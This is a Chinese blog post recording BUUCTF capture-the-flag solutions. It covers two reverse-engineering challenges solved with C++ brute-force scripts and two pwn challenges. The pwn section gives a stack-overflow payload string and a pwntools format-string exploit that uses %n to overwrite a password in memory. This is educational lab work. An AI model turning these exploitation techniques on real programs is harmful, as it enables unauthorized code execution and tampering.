【BUUCTF】 刷题记录

[ACTF新生赛2020]easyre1

放入ida,一眼 UPX 壳

先脱壳,脱壳后主函数内容如下:

屏幕截图 2025-11-16 114525

修改一下函数名。

屏幕截图 2025-11-16 114701

一步一步分析,a 被初始化为

*F'\"N,\"(I?+@

然后输入 v6 ,可以看出flag构成为:ACTF{}

之后v6数组就查无此人了,a也不像flag,打开s数组,发现s数组
屏幕截图 2025-11-16 115229

s 数组存的也不是flag,合理猜测 f 数组存放flag。

这个 if 判断应该就是检验 flag 的地方了。

把 f 数组里的值作为下标,判断两值相等。

上脚本(C++):

#include<bits/stdc++.h>
using namespace std;
const char a[]={"*F'\"N,\"(I?+@"};
const char ch[]={"~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(',27h,'&%$# !"};
signed main() {
	for (int i=0;i<=11;++i) {
		for (int j=0;j<strlen(ch);++j){
			if (a[i]==ch[j]) {
				cout<<(char)(j+2);
			}
 		}
	}
	return 0;
}

注意,数组 s 开头的这个 db 7Eh 也是 s 里的内容,别漏了。

屏幕截图 2025-11-16 120140

得到 flag 里的内容:

U9X^1SY]W6@T?

原本的flag应该是 ACTF{U9X^1SY]W6@T?} ,但这里是BUUCTF,应该改成

flag{U9X^1SY]W6@T?} (因为这个原因被卡了好久)。

复盘发现 v7、v8、v9 的地址和 v6 是连续的,而这三个值又都赋给了 f ,可以佐证 f 里存的就是 flag 。

[ACTF新生赛2020]rome1

水题+1

直接扔 ida 里就能见到加密函数

开头的几个 if 判断内容是 ACTF

屏幕截图 2025-11-22 222727

加密只是判断大小写字母然后进行移位。

if ( *((char *)v1 + i) > 64 && *((char *)v1 + i) <= 90 )
   *((_BYTE *)v1 + i) = (*((char *)v1 + i) - 51) % 26 + 65;
if ( *((char *)v1 + i) > 96 && *((char *)v1 + i) <= 122 )
   *((_BYTE *)v1 + i) = (*((char *)v1 + i) - 79) % 26 + 97;

大写字母加密公式是 (x - 51) % 26 + 65 ,向后偏移 14 位。(可以直接带入法)

小写字母加密公式是 (x - 79) % 26 + 97 ,向后偏移 18 位。

考虑到取模运算不好逆向,可以直接暴力枚举。

脚本如下:

点击查看代码
#include<bits/stdc++.h>
using namespace std;
const char s[]={"Qsw3sj_lz4_Ujw@l"}; 
signed main(){
	int len=strlen(s);
	for (int i=0;i<len;++i) {
		for (int j=32;j<=126;++j) {
			char f=char(j); 
			if (j>=64 && j<=90) {
				f=(j-51)%26+65; 
			} 
			else if (j>96&&j<=122) {
				f=(j-79)%26+97; 
			}
			if (f==s[i]) {
				cout<<char(j); break;
			}
		}
	} 
	return 0;
} 

warmup_csaw_2016

2026.3.22

pwn 题

主函数如下:

屏幕截图 2026-03-22 141917

同时也有一个函数与flag有关

屏幕截图 2026-03-22 141947

记下这个指令的地址

屏幕截图 2026-03-22 142104

40 开头可以确定是 64位环境(0x86-64)

利用 gets 栈溢出

查看栈帧

屏幕截图 2026-03-22 142444

从 var_40 开始覆盖

64+8 ,再加个需要跳转的指令的地址

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC\11\06\40\00\00\00\00\00\n

屏幕截图 2026-03-22 151937

[第五空间2019 决赛]PWN5

2026.3.22

main 函数

屏幕截图 2026-03-22 152813

没法溢出的题

原因是 buf 开了 100,而 read 只读 99 (0x63 = 6*16+3 =99,后面的 u 表示unsigned)

两次输入,第一次输入 buf ,然后程序会用 printf 函数输出我们输入的 buf ,第二次输入密码(nptr),只有当输入密码等于预期密码(buf_)时才会给我们flag。

注意到这里 printf 输出 buf 的时候是直接把 buf 当作格式串。

输入%x.%x.%x.%x 可以把栈上的内容当参数打出来。

利用 printf 函数的一个特性。

printf 不仅能输出,也能输入。

在C里 ,printf 有一个特殊格式符 “%n”

它不输出任何字符,而是把“到目前为止 printf 已经输出了多少个字符”写入到对应参数指向的内存地址中。

利用这个可以把 buf_ 篡改成我们想要的任意数。

先记一下 buf_ 的地址

屏幕截图 2026-03-22 162603

先确定咱的第一个输入 buf 会被当做第几个参数。

输入FFFF%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

得到:

屏幕截图 2026-03-22 165847

这个 46464646 就是输入的 FFFF,也就是说 buf 在第十个位置

pythontool 脚本:

<PYTHON>
from pwn import *
context.arch = 'i386'
context.os = 'linux'
p = process('./pwn')   # 或 remote(host, port)
buf_addr = 0x0804C044
offset = 10
target = 1234
payload = p32(buf_addr)
payload += f"%{target - 4}c%{offset}$n".encode()
p.recvuntil(b'your name:')
p.send(payload)
p.recvuntil(b'your passwd:')
p.sendline(str(target).encode())
p.interactive()
posted @ 2025-11-16 12:07  int_Hello_world  阅读(47)  评论(0)    收藏  举报